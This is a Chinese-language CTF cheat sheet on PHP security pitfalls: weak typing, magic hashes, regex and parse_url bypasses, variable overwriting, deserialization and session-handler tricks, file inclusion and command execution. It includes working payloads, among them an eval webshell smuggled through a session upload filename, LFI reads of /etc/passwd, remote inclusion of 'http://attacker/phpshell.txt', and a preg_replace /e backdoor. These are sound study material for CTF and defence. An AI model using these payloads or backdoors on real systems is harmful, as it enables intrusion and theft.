基础知识 系统变量(超全局变量) 在全部作用域中始终可用的内置变量
1 2 3 4 5 6 7 8 9 $GLOBALS $_POST $_GET $_COOKIE $_SESSION $_FILES $_REQUEST $_ENV $_SERVER
可变变量 可变变量是 php 独有的特性,可变变量指的是变量名可变,将一个普通变量的值作为可变变量的变量名,而变量(即普通变量)指的是变量值可变。
1 2 3 4 5 6 7 $a="hello" ; ${$a}="world" ; echo ${$a};echo $$a; echo $hello;
错误控制运算符 PHP 支持一个错误控制运算符:@。当将其放置在一个PHP 表达式之前,该表达式可能产生的任何错误信息都被忽略掉。
数组 定义数组的方法
1 2 3 4 5 6 7 $a = array ( "user" => "admin" , "pass" =>"P@ssw0rd" ); $a['user' ] = 'admin' ; $a['pass' ] = 'P@ssw0rd' ;
Quotation Marks 双引号解析变量,单引号不解析变量
1 2 3 $str='hello' ; echo "str is $str" ; echo 'str is $str' ;
变量默认值 当定义一个变量,如果没有设置值,默认为0
打印变量
print_r,显示关于一个变量的易于理解的信息。如果给出的是 string、integer 或 float,将打印变量值本身。如果给出的是 array,将会按照一定格式显示键和元素。object 与数组类似。
var_dump,返回变量的数据类型和值
1 2 3 echo 'aaa' ;echo ('123' );print_r('aaa' );
文件操作相关 列出目录
输出文件内容
1 2 3 4 show_source('flag.php' ); highlight_file('flag.php' ); var_dump(file('flag.php' )); print_r(file('flag.php' ));
读取文件内容
1 2 3 4 file_get_contents('flag.php' ); file_get_contents('http://xxx.xxx.com/index.html' );
$_GET 和 $_POST http://www.example.com/web/false.php?name[]=a&password[]=b
如果 GET 参数中设置 name[]=a
,那么 $_GET['name'] = [a]
,php 会把 []=a
当成数组传入, $_GET
会自动对参数调用 urldecode
。
$_POST
同样存在此漏洞,提交的表单数据,user[]=admin
,$_POST['user']
得到的是 ['admin']
是一个数组。
内置函数的松散性 strcmp 和 strcasecmp strcmp 和 strcasecmp(不区分大小写) 用于比较字符串,返回值如下:
如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0; 如果两者相等,返回 0。
5.2 中是将两个参数先转换成string类型。
5.3.3 以后,当比较数组和字符串的时候,返回是0。
5.5 中如果参数不是string类型,直接return了
数组跟字符串比较会返回 0
1 2 3 4 $array=[1 , 2 , 3 ]; var_dump(strcmp($array, 'abc' )); var_dump(strcasecmp($array, 'abc' ));
sha1 和 md5 函数 语法
md5 和 sha1 无法处理数组,但是 php 没有抛出异常,直接返回 fasle
1 2 sha1([]) === false md5([]) === false
md5 和 sha1 支持第二个参数,如果为 true,则会将 hash 后的 16 进制字符串以 16 进制转成字符串的形式返回,如果在 SQL 语句中这样写,会存在注入的问题。
提供一个字符串:ffifdyop,md5后,276f722736c95d99e921722cf9ed621c 再转成字符串: ‘or’6
1 2 3 4 $password = "ffifdyop" ; $sql = "SELECT * FROM admin WHERE pass = '" .md5($password,true )."'" ; var_dump($sql);
parse_url parse_url() 函数可以解析 URL,返回其组成部分,此函数并不意味着给定的 URL 是合法的,它只是将上方列表中的各部分分开。parse_url() 可接受不完整的 URL,并尽量将其解析正确。
url解析错误
parse_url在url不能被解析的时候就会返回false。
1 2 3 <?php $url = $_GET['url' ]; var_dump(parse_url($url));
当一个url没有协议的时候,但是给一个端口url的字符串的时候parse_url就会爆错。这个经测试在windows下应该是php版本全通杀的(5.2-7.0),linux没测试过。
只要端口后面跟字母还是会解析,比如
1 2 3 /pupiles.com:80 a array (size=1 ) 'path' => string '/pupiles.com:80a' (length=16 )
端口解析错误
1 2 3 4 5 6 7 8 9 array (2 ) { ["host" ]=> string(11 ) "pupiles.com" ["path" ]=> string(9 ) "/about:1234" }
然而实际结果是
1 2 3 4 5 6 7 8 array (3 ) { ["host" ]=> string(11 ) "pupiles.com" ["port" ]=> int(1234 ) ["path" ]=> string(9 ) "/about:1234" }
会默认解析出一个portkey
路径解析错误
1 2 3 4 5 6 7 8 9 10 <?php $uri = "/upload?/home/binarycloud/" ; $data = parse_url($uri); print_r($data); $uri = "//upload?/home/binarycloud/" ; $data = parse_url($uri); print_r($data); ?>
输出结果
1 2 3 4 5 6 7 8 9 10 Array ( [path] => /upload [query] => /home/binarycloud/ ) Array ( [host] => upload? [path] => /home/binarycloud/ )
端口溢出
在php5.3.13版本以下,当输入如下url
http://pupiles:78325
按照正常来说应该会返回false,但是这里会返回
1 2 3 4 5 array (3 ) { ["scheme" ]=> string(4 ) "http" ["host" ]=> string(7 ) "pupiles" ["port" ]=> int(12789 ) }
弱类型
当一个整形和一个其他类型行比较的时候,会先把其他类型 intval
再比较
bool类型的 true 跟任意字符串可以弱类型相等
1 2 3 4 5 6 7 8 9 10 11 1 == '1abc' true == 'abcd' "42" == "42.0" "42" == "000042.00" "42" == "0x000000002A" "10" == "1e1" "42" == "0000000004.2E+1" "42" == "42.0e+000000" [false ] == [0 ] == [NULL ] == ['' ] NULL == false == 0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 '0.999999999999999999999' == 1 '0e0' == '0e1' '0e0' == '0E1' '10e2' == ' 01e3' '10e2' == '01e3' '10e2' == '1e3' '010e2' == '1e3' '010e2' == '01e3' '10' == '010' '10.0' == '10' '10' == '00000000010' '12345678' == '00000000012345678' '0010e2' == '1e3' '123000' == '123e3' '123000e2' == '123e5' '608E-4234' == '272E-3063' '0e0' == '0x0' '0xABC' == '0xabc' '0xABCdef' == '0xabcDEF' '000000e1' == '0x000000' '0xABFe1' == '0xABFE1' '0xe' == '0Xe' '0xABCDEF' == '11259375' '0xABCDEF123' == '46118400291' '0x1234AB' == '1193131' '0x1234Ab' == '1193131' '0xABCdef' == ' 0xabcDEF' '1e1' == '0xa' '0xe' == ' 0Xe' '0x123' == ' 0x123' '0e0' == '0x0a' '0xe' == ' 0Xe.'
intval intval()
在转换的时候,会从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的字符串,intval()
不会报错而是返回 0。
1 2 3 4 5 6 7 8 9 10 11 12 var_dump(intval('2' )) var_dump(intval('3abcd' )) var_dump(intval('abcd' )) var_dump(0 == '0' ); var_dump(0 == 'abcdefg' ); var_dump(0 === 'abcdefg' ); var_dump(1 == '1abcdef' ); if (intval($a) > 1000 ) { mysql_query("select * from news where id=" .$a) }
trim trim 函数会过滤空格以及 \n\r\t\v\0,但不会过滤过滤\f
1 2 $a = " \n\r\t\v\0abc \f"; var_dump(trim($a)); // abc \f
利用 trim 及 is_numeric 等函数实现的绕过1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php // %0c1%00 $number = "\f1\0"; // trim 函数会过滤 \n\r\t\v\0,但不会过滤过滤\f $number_2 = trim($number); var_dump($number_2); // \f1 $number_2 = addslashes($number_2); var_dump($number_2); // \f1 // is_numeric 检测的时候会过滤掉 '', '\t', '\n', '\r', '\v', '\f' 等字符 // 但是不会过滤 '\0' var_dump(is_numeric($number)); // false var_dump(strval(intval($number_2))); // 1 var_dump("\f1" == "1"); // true ?>
is_numeric PHP提供了is_numeric函数,用来变量判断是否为数字。但是函数的范围比较广泛,不仅仅是十进制的数字。
1 2 3 4 5 6 7 8 <?php echo is_numeric(233333 ); echo is_numeric('233333' ); echo is_numeric(0x233333 ); echo is_numeric('0x233333' ); echo is_numeric('9e9' ); echo is_numeric('233333abc' ); ?>
is_numeric 检测的时候会自动过滤掉前面的 ‘ ‘, ‘\t’, ‘\n’, ‘\r’, ‘\v’, ‘\f’ 等字符,但是不会过滤 ‘\0’,如果这些字符出现在字符串尾,也不会过滤,二是返回 false
1 2 3 4 5 6 7 8 9 10 11 var_dump(is_numeric("\01" )); var_dump(is_numeric(" 1" )); var_dump(is_numeric("\t1" )); var_dump(is_numeric("\n1" )); var_dump(is_numeric("\r1" )); var_dump(is_numeric("\v1" )); var_dump(is_numeric("\f1" )); var_dump(is_numeric("\f\f1" )); var_dump(is_numeric("1\f" ));
数组与字符串 当 $var
是一个字符串的时候,访问 $var["any string"]
跟访问 $var[intval("any string")]
效果是一样的。如果有变量覆盖,可以实现一些绕过。
1 2 3 4 5 6 7 8 9 $userinfo = 'abcdefg' ; $userinfo['id' ] = 123 ; $userinfo['role' ] = 1 ; if ($userinfo['id' ] == 1 ) { echo 'flag{***}' ; }
in_array in_array函数用来判断一个值是否在某一个数组列表里面,通常判断方式如下:
1 in_array('b' , array ('a' , 'b' , 'c' );
这段代码的作用是过滤 GET 参数 typeid 在不在 1,2,3,4 这个数组里面。但是,in_array 函数存在自动类型转换。如果请求,typeid=1’ union select..
也能通过 in_array 的验证
1 2 3 4 if (in_array($_GET('typeid' ], array (1 , 2 , 3 , 4 ))) { $sql="select …. where typeid=" .$_GET['typeid' ]"; echo $sql; }
== 和 ===
==
是弱类型的比较
===
比较符则可以避免这种隐式转换,除了检查值还检查类型。
以下比较的结果都为 true
1 2 3 4 5 6 7 8 9 10 11 12 13 14 '0xccccccccc' == '54975581388' 1 == '1' 1 == '01' 10 == '1e1' 100 == '1e2' 0 == 'a' '0xABCdef' == ' 0xABCdef' '0010e2' == '1e3'
magic hash md5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 # 0e 开头,后面全是数字的 240610708: 0e462097431906509019562988736854 QLTHNDT: 0e405967825401955372549139051580 QNKCDZO: 0e830400451993494058024219903391 PJNPDWY: 0e291529052894702774557631701704 NWWKITQ: 0e763082070976038347657360817689 NOOPCJF: 0e818888003657176127862245791911 MMHUWUV: 0e701732711630150438129209816536 MAUXXQC: 0e478478466848439040434801845361 IHKFRNS: 0e256160682445802696926137988570 GZECLQZ: 0e537612333747236407713628225676 GGHMVOE: 0e362766013028313274586933780773 GEGHBXL: 0e248776895502908863709684713578 EEIZDOI: 0e782601363539291779881938479162 DYAXWCA: 0e424759758842488633464374063001 DQWRASX: 0e742373665639232907775599582643 BRTKUJZ: 00e57640477961333848717747276704 ABJIHVY: 0e755264355178451322893275696586 aaaXXAYW: 0e540853622400160407992788832284 aabg7XSs: 0e087386482136013740957780965295 aabC9RqS: 0e041022518165728065344349536299
sha1
1 2 3 4 5 10932435112: 0e07766915004133176347055865026311692244 aaroZmOk: 0e66507019969427134894567494305185566735 aaK1STfY: 0e76658526655756207688271159624026011393 aaO8zKZF: 0e89257456677279068558073954252716165668 aa3OFF9m: 0e36977786278517984959260394024281014729
crc32
两个 md5 一样的字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 from binascii import unhexlifyfrom hashlib import md5from future.moves.urllib.parse import quoteinput1 = 'Oded Goldreich\nOded Goldreich\nOded Goldreich\nOded Go' + unhexlify( 'd8050d0019bb9318924caa96dce35cb835b349e144e98c50c22cf461244a4064bf1afaecc5820d428ad38d6bec89a5ad51e29063dd79b16cf67c12978647f5af123de3acf844085cd025b956' )print(quote(input1)) print md5(input1).hexdigest()input2 = 'Neal Koblitz\nNeal Koblitz\nNeal Koblitz\nNeal Koblitz\n' + unhexlify('75b80e0035f3d2c909af1baddce35cb835b349e144e88c50c22cf461244a40e4bf1afaecc5820d428ad38d6bec89a5ad51e29063dd79b16cf6fc11978647f5af123de3acf84408dcd025b956' ) print md5(input2).hexdigest()print(quote(input2))
另外一组 md5 一样的字符串
1 2 3 4 5 6 7 from array import array from hashlib import md5 input1 = array('I', [0x6165300e,0x87a79a55,0xf7c60bd0,0x34febd0b,0x6503cf04,0x854f709e,0xfb0fc034,0x874c9c65,0x2f94cc40,0x15a12deb,0x5c15f4a3,0x490786bb,0x6d658673,0xa4341f7d,0x8fd75920,0xefd18d5a]) input2 = array('I', [x^y for x,y in zip(input1, [0, 0, 0, 0, 0, 1<<10, 0, 0, 0, 0, 1<<31, 0, 0, 0, 0, 0])]) print(input1 == input2) # False print(md5(input1).hexdigest()) # cee9a457e790cf20d4bdaa6d69f01e41 print(md5(input2).hexdigest()) # cee9a457e790cf20d4bdaa6d69f01e41
magic hash
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 md2 32 505144726 0e015339760548602306096794382326 WhiteHat Security, Inc. md4 32 48291204 0e266546927425668450445617970135 WhiteHat Security, Inc. md5 32 240610708 0e462097431906509019562988736854 Michal Spacek sha1 40 10932435112 0e07766915004133176347055865026311692244 Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham sha224 56 – – – sha256 64 – – – sha384 96 – – – sha512 128 – – – ripemd128 32 315655854 0e251331818775808475952406672980 WhiteHat Security, Inc. ripemd160 40 20583002034 00e1839085851394356611454660337505469745 Michael A Cleverly ripemd256 64 – – – ripemd320 80 – – – whirlpool 128 – – – tiger128,3 32 265022640 0e908730200858058999593322639865 WhiteHat Security, Inc. tiger160,3 40 13181623570 00e4706040169225543861400227305532507173 Michele Spagnuolo tiger192,3 48 – – – tiger128,4 32 479763000 00e05651056780370631793326323796 WhiteHat Security, Inc. tiger160,4 40 62241955574 0e69173478833895223726165786906905141502 Michele Spagnuolo tiger192,4 48 – – – snefru 64 – – – snefru256 64 – – – gost 64 – – – adler32 8 FR 00e00099 WhiteHat Security, Inc. crc32 8 2332 0e684322 WhiteHat Security, Inc. crc32b 8 6586 0e817678 WhiteHat Security, Inc. fnv132 8 2186 0e591528 WhiteHat Security, Inc. fnv164 16 8338000 0e73845709713699 WhiteHat Security, Inc. joaat 8 8409 0e074025 WhiteHat Security, Inc. haval128,3 32 809793630 00e38549671092424173928143648452 WhiteHat Security, Inc. haval160,3 40 18159983163 0e01697014920826425936632356870426876167 Independently found by Michael Cleverly & Michele Spagnuolo haval192,3 48 48892056947 0e4868841162506296635201967091461310754872302741 Michael A. Cleverly haval224,3 56 – – – haval256,3 64 – – – haval128,4 32 71437579 0e316321729023182394301371028665 WhiteHat Security, Inc. haval160,4 40 12368878794 0e34042599806027333661050958199580964722 Michele Spagnuolo haval192,4 48 – – – haval224,4 56 – – – haval256,4 64 – – – haval128,5 32 115528287 0e495317064156922585933029613272 WhiteHat Security, Inc. haval160,5 40 33902688231 00e2521569708250889666329543741175098562 Michele Spagnuolo haval192,5 48 52888640556 0e9108479697641294204710754930487725109982883677 Michele Spagnuolo haval224,5 56 – – – haval256,5 64 – – –
hash 比较的问题 0e 开头且后面都是数字会被当作科学计数法,也就是等于 0*10^xxx=0。如果 md5 是以 0e 开头,在做比较的时候,可以用这种方法绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 '0e509367213418206700842008763514' == '0e481036490867661113260034900752' '0e481036490867661113260034900752' == '0' var_dump('0' == '0e1abcd' ); var_dump(0 == '0e1abcd' ); var_dump(md5('240610708' ) == md5('QNKCDZO' )); var_dump(md5('aabg7XSs' ) == md5('aabC9RqS' )); var_dump(sha1('aaroZmOk' ) == sha1('aaK1STfY' )); var_dump(sha1('aaO8zKZF' ) == sha1('aa3OFF9m' ));
如果要找出 0e
开头的 hash 碰撞,可以用如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $salt = 'vunp' ; $hash = '0e612198634316944013585621061115' ; for ($i=1 ; $i<100000000000 ; $i++) { if (md5($salt . $i) == $hash) { echo $i; break ; } } echo ' done' ;
switch 如果 switch 是数字类型的 case 的判断时, switch 会将其中的参数转换为 int类型。
1 2 3 4 5 6 7 8 9 10 11 12 13 $i ="2abc" ; switch ($i) { case 0 : case 1 : case 2 : echo "i is less than 3 but not negative" ; require_once $i.'.php' ; echo $flag; break ; case 3 : echo "i is 3" ; }
这个时候程序输出的是 i is less than 3 but not negative,是由于 switch() 函数将 $i
进行了类型转换,转换结果为 2。
正则表达式 preg_match preg_match 函数用于进行正则表达式匹配,返回 pattern 的匹配次数,它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后将会停止搜索。如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^
和 $
),则可以存在绕过的问题
1 2 3 4 5 6 $ip = '1.1.1.1 abcd' ; if (!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/" ,$ip)) { die ('error' ); } else { }
pre_match 在匹配的时候会消耗较大的资源,并且默认存在贪婪匹配,如果传入一个超长的字符串,会导致 pre_match 消耗大量资源从而导致 php 超时,后面的 php 语句就不会执行。payload:
1 2 $code="xdsec###AAAAAAAAAAAAAAAAAAA(超多个A)" ; preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/" , $code));
就是匹配文件名由字母、数字、下划线、破则号、斜杠、空白字符各种组合的并且后缀名是rpt的文件,如果匹配成功,就执行系统命令file打印文件的类型和编码信息,如果匹配失败就打印’regex failed’.
http://10.10.10.141/test/test_rce/4/rce_path.php?path=filed.rpt%0awhoami
如果开启了/m,会存在绕过
1 2 3 4 5 6 7 <?php $file_name=$_GET['path' ]; if (!preg_match("/^[a-zA-Z0-9-s_]+.rpt$/m" , $file_name)) { echo "regex failed" ; } else { echo exec("/usr/bin/file -i -b " .$file_name); }
注意到正则表达式结尾的/m 了,在php中,/m表示开启多行匹配模式,开启多行匹配模式之后^
和$
的含义就发生了变化,没开启多行模式之前(即单行匹配模式), ^
和$
是匹配字符串的开始和结尾,开启多行模式之后,多行模式^
,$
可以匹配每行的开头和结尾,所以上述payload里面含有换行符,被当做两行处理,一行匹配OK即可,所以进入了exec执行分支,进而导致命令执行。
http://10.10.10.141/test/test_rce/4/rce_path.php?path=filed.rpt%0awhoami
开启/m
不开启/m
修饰符说明
1 2 3 4 5 6 7 i 在和正则匹配是不区分大小写 m 将字符串视为多行。默认的正则开始“^”和结束“$”将目标字条串作为一单一的一“行”字符(甚至其中包括换行符也是如此)。如果在修饰符中加上“m”,那么开始和结束将会指点字符串的每一行的开头就是“^”结束就是“$”。 o 评估表达式只有一次 s 如果设定了这个修正符,那么,被匹配的字符串将视为一行来看,包括换行符,换行符将被视为普通字符串。 x 忽略空白,除非进行转义的不被忽略。 g 在全局范围内找到所有匹配 cg 即使全局匹配失败也允许搜索继续
preg_match_all 正则表达式全局匹配,成功返回整个模式匹配的次数(可能为零),如果出错返回 FALSE
ereg %00 截断 ereg 读到 %00 的时候,就截止了
1 2 3 4 5 <?php if (ereg ("^[a-zA-Z]+$" , $_GET['a' ]) === FALSE ) { echo 'You password must be alphabet' ; } ?>
这里 a=abcd%001234
,可以绕过
变量覆盖 extract() 函数从数组中把变量导入到当前的符号表中。对于数组中的每个元素,键名用于变量名,键值用于变量值。
1 2 3 4 5 6 7 8 9 10 <?php $auth = '0' ; extract($_GET); if ($auth == 1 ){ echo "private!" ; } else { echo "public!" ; } ?>
parse_str parse_str() 的作用是解析字符串,并注册成变量。与 parse_str() 类似的函数还有 mb_parse_str(),parse_str 将字符串解析成多个变量,如果参数 str 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域。
1 2 3 4 5 $var='init' ; parse_str($_SERVER['QUERY_STRING' ]); echo $var;
$$ 变量覆盖 如果把变量本身的 key 也当变量,也就是使用了 $$
,就可能存在问题。
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $_CONFIG['extraSecure' ] = true ; foreach (array ('_GET' ,'_POST' ) as $method) { foreach ($$method as $key=>$value) { unset ($$key); } } if ($_CONFIG['extraSecure' ] == false ) { echo 'flag {****}' ; }
数组类型数据的覆盖
1 2 3 4 5 6 7 8 9 10 11 12 13 foreach (array ('_COOKIE' ,'_POST' ,'_GET' ) as $_request) { foreach ($$_request as $_key=>$_value) { $$_key= $_value; } } echo $_SESSION["userinfo" ]["id" ];echo '<br>' ;echo $_SESSION["userinfo" ]["username" ];
但是如果后面有 session_start()
会重新初始化上面的 $_SESSION
数据,因此又被还原回去。
unset unset($bar);
用来销毁指定的变量,如果变量 $bar
包含在请求参数中,可能出现销毁一些变量而实现程序逻辑绕过。
特殊的 PHP 代码格式 以这种后缀结尾的 php 文件也能被解析,这是在 fast-cgi 里面配置的
.php2
.php3
.php4
.php5
.php7
.phtml
正则检测文件内容中包含 <?
就异常退出,通常的PHP代码就不行了,可以使用这种方式绕过
1 2 3 4 <script language="php" > echo base64_encode(file_get_contents('flag.php' ));</script>
如果在 php.ini 文件中配置允许 ASP 风格的标签
则可以使用该方式
php.ini 文件中配置 short_open_tag 默认为 Off,如果为 On,则允许这种代码
1 <? echo base64_encode(file_get_contents('flag.php')); ?>
效果等于 echo ‘a’;
伪随机数 mt_rand() mt_rand() 函数是一个伪随机发生器,即如果知道随机数种子是可以预测的。
1 2 3 4 $seed = 12345 ; mt_rand($seed); $ss = mt_rand();
linux 64 位系统中,rand() 和 mt_rand() 产生的最大随机数都是2147483647,正好是 2^31-1,也就是说随机播种的种子也是在这个范围中的,0 – 2147483647 的这个范围是可以爆破的。 但是用 php 爆破比较慢,有一个 C 的版本,可以根据随机数,爆破出种子 php_mt_seed 。
在 php > 4.2.0 的版本中,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已由 PHP 自动完成。php 中产生一系列的随机数时,只进行了一次播种,而不是每次调用 mt_rand() 都进行播种。
rand() rand() 函数在产生随机数的时候没有调用 srand(),则产生的随机数是有规律可询的。具体的说明请看这里 。产生的随机数可以用下面这个公式预测:
1 2 # 一般预测值可能比实际值要差1 state[i] = state[i-3] + state[i-31]
可以用下面的代码验证一下
1 2 3 4 5 6 7 8 9 <?php $randStr = array (); for ($i=0 ;$i<50 ;$i++) { $randStr[$i]=rand(0 ,30 ); if ($i>=31 ) { echo "$randStr[$i]=(" .$randStr[$i-31 ]."+" .$randStr[$i-3 ].") mod 31" ."\n" ; } } ?>
反序列化
__construct():构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
__destruct():析构函数,当对象被销毁时会自动调用。
__wakeup() :如前所提,unserialize()时会自动调用。
PHP unserialize()
后会导致 __wakeup()
或 __destruct()
的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在 __wakeup()
或 __destruct()
中。
__wakeup
函数绕过PHP 有个 Bug ,触发该漏洞的PHP版本为PHP5小于5.6.25或PHP7小于7.0.10,该漏洞可以简要的概括为:当序列化字符串中表示对象个数的值大于
真实的属性个数时会跳过 __wakeup
函数的执行,例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class xctf { public $flag = "111" ; public function __wakeup () { exit ('bad requests' ); } } echo unserialize($_GET['code' ]);echo "flag{****}" ;?>
使用这个 payload 绕过 __wakeup
函数
1 2 # O:4:"xctf":1:{s:4:"flag";s:3:"111";} http://www.example.com/index.php?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
在字符串中,前面的数字代表的是后面字符串中字符的个数,如果数字与字符个数不匹配的话,就会报错,因此将1改成2就会产生报错,导致不会去执行 __wakeup
函数,从而绕过该函数。
变量可以用引用 可以通过将变量的值存储为另外一个变量的地址,类似于 C 语言中的引用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 class just4fun { var $enter; var $secret; } $a = new just4fun(); $a->secret = "123" ; $a->enter = &$a->secret; $o = unserialize(serialize($a)); if ($o) { $o->secret = "xxxxxxx" ; if ($o->secret === $o->enter) echo "Congratulation! Here is my Key: " . $o->secret; }
小特性 以下两个都能够被unserialize反序列化,且结果相同。
1 2 O:+4:"test":1:{s:1:"a";s:3:"aaa";} O:4:"test":1:{s:1:"a";s:3:"aaa";}
不光object类型处理可以多一个’+’,其他类型也可以。但是如果要进一步通过修改变量的个数来绕过 __wakeup,在 php 5.5 环境下可以,php 5.6 环境下反序列化会失败
1 2 # php 5.5 环境下可以绕过 __wakeup,php 5.6 环境下反序列化会失败 O:+4:"test":2:{s:1:"a";s:3:"aaa";}
Session 反序列化 PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:
处理器
对应的存储格式
php
键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary
键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4)
经过 serialize() 函数反序列处理的数组
如果 PHP 在反序列化存储的 $_SESSION 数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的构造,甚至可以伪造任意数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ini_set('session.serialize_handler' , 'php_serialize' ); session_start(); $_SESSION['ryat' ] = $_GET['ryat' ]; ini_set('session.serialize_handler' , 'php' ); session_start(); class ryat { var $hi; function __wakeup () { echo 'hi' ; } function __destruct () { echo $this ->hi; } }
当访问 foo1.php 时,提交数据如下:
1 foo1.php?ryat=|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}
脚本会按照 php_serialize 处理器的序列化格式存储数据,访问 foo2.php 时,则会按照 php 处理器的反序列化格式读取数据,这时将会反序列化伪造的数据,成功实例化了 ryat 对象。这个场景的利用需要能够构造 Session 的值,如果没有提供写入 Session 的地方,可以利用 Session Upload Progress
。
注意:如果利用这种方式上传了 webshell,读取文件的时候需要使用绝对路径,例如 /opt/lampp/htdocs/index.php
Session Upload Progress 上传文件时,如果 POST 一个名为 PHP_SESSION_UPLOAD_PROGRESS
的变量,就可以将 filename 的值赋值到session 中,filename 的值如果包含双引号,还需要进行转义,上传的页面的写法如下:
1 2 3 4 5 <form action ="http://example.com/index.php" method ="POST" enctype ="multipart/form-data" > <input type ="hidden" name ="PHP_SESSION_UPLOAD_PROGRESS" value ="123" /> <input type ="file" name ="file" /> <input type ="submit" /> </form >
最后 Session 就会保存上传的文件名。如果没有提供写入 Session 的地方,可以用这种方法。POST 请求的数据包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 POST / HTTP/1.1 Host: web.jarvisoj.com:32784 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypN9LkEc0KCMj7TfC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3208.0 Safari/537.36 Cookie: PHPSESSID=jfdu23je5jlu43sfgc3akp3037 Content-Length: 302 ------WebKitFormBoundarypN9LkEc0KCMj7TfC Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" 123 ------WebKitFormBoundarypN9LkEc0KCMj7TfC Content-Disposition: form-data; name="file"; filename="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:39:\"echo \"waterfood\"; eval($_REQUEST[\"v\"]);\";}" Content-Type: text/plain 123 ------WebKitFormBoundarypN9LkEc0KCMj7TfC--
文件包含 这种 url 很容易就能想到可能是文件包含或者伪协议读取
1 2 http://10.2.1.1:20770/index.php?page=upload http://10.2.1.1:20770/index.php?page=php://filter/read=convert.base64-encode/resource=upload
常见的导致文件包含的函数有
include()
include_once()
require()
require_once()
fopen()
readfile()
当 PHP 包含一个文件时,会将该文件当做 PHP 代码执行,而不会在意文件时什么类型。
本地文件包含 本地文件包含,Local File Inclusion,LFI。
1 2 3 4 5 6 <?php $file = $_GET['file' ]; if (file_exists('/home/wwwrun/' .$file.'.php' )) { include '/home/wwwrun/' .$file.'.php' ; } ?>
上述代码存在本地文件包含,可用 %00
截断的方式读取 /etc/passwd
文件内容。
%00
截断1 ?file=../../../../../../../../../etc/passwd%00
需要 magic_quotes_gpc=off
,PHP 小于 5.3.4 有效。
路径长度截断 1 ?file=../../../../../../../../../etc/passwd/./././././././././././.
Linux 需要文件名长于 4096,Windows 需要长于 256。
点号截断 1 ?file=../../../../../../../../../boot.ini/………………
只适用 Windows,点号需要长于 256。
远程文件包含 远程文件包含,Remote File Inclusion,RFI。
1 2 3 4 5 6 <?php if ($route == "share" ) { require_once $basePath . "/action/m_share.php" ; } elseif ($route == "sharelink" ) { require_once $basePath . "/action/m_sharelink.php" ; }
构造变量 basePath
的值。
1 /?basePath=http://attacker/phpshell.txt?
最终的代码执行了
1 require_once "http://attacker/phpshell.txt?/action/m_share.php";
问号后的部分被解释为 URL 的 querystring,这也是一种「截断」。
普通远程文件包含
1 ?file=[http|https|ftp]://example.com/shell.txt
命令执行 assert assert 函数的参数可以为布尔类型的值,也可以是字符串,当参数为字符串时,会被当作 PHP 代码执行
1 2 3 4 5 6 7 8 9 10 $page = "flag'.system(\"ls\").'" ; $file = "templates/" . $page . ".php" ; assert("strpos('$file', '..') === false" ); $a=$_GET['a' ]; assert($a);
反引号 ` 反引号 ` 可以调用 shell_exec 正常执行代码
1 2 3 `$_GET[v]` 相当于 shell_exec($_GET['v']) `$_GET['v']` 变量 v 前后不能有单引号
system,exec,shell_exec 的区别
1 2 3 4 5 6 7 8 9 10 11 12 13 14 system() $last_line = system('ls',$return_var); system()会将输出内容直接印出,所以若于网页,会将所有回传内容都显示于页面上。 $last_line:只能取得最后一行的内容 $return_var:取得系统状态回传码 exec() exec('ls',$output,$return_var); $output:回传内容都会存于此变数中(储存成阵列),不会直接秀在页面上。 $return_var:取得系统状态回传码 shell_exec() $output = shell_exec('ls'); $output:回传内容都会存于此变量中(储存成纯文字内容),不会直接显示在页面上。
preg_replace() 触发条件:
第一个参数需要e标识符,有了它可以执行第二个参数的命令
第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令,举个例子:
1 2 3 4 5 echo preg_replace('/test/e' , 'phpinfo()' , 'just test' ); echo preg_replace('/test/e' , 'phpinfo()' , 'just tesxt' );
我们可以构造这样的后门代码
1 2 @preg_replace("//e" , $_GET['h' ], "Access Denied" ); echo preg_replace("/test/e" , $_GET["h" ], "jutst test" );
当访问这样这样的链接时就可以被触发
http://localhost:8000/testbug.php?h=phpinfo();
伪协议 可以应用于
file_get_contents
readfile
php://filter 读取文件
1 2 /lfi.php?file=php: /lfi.php?file=php:
控制文件写入的处理逻辑
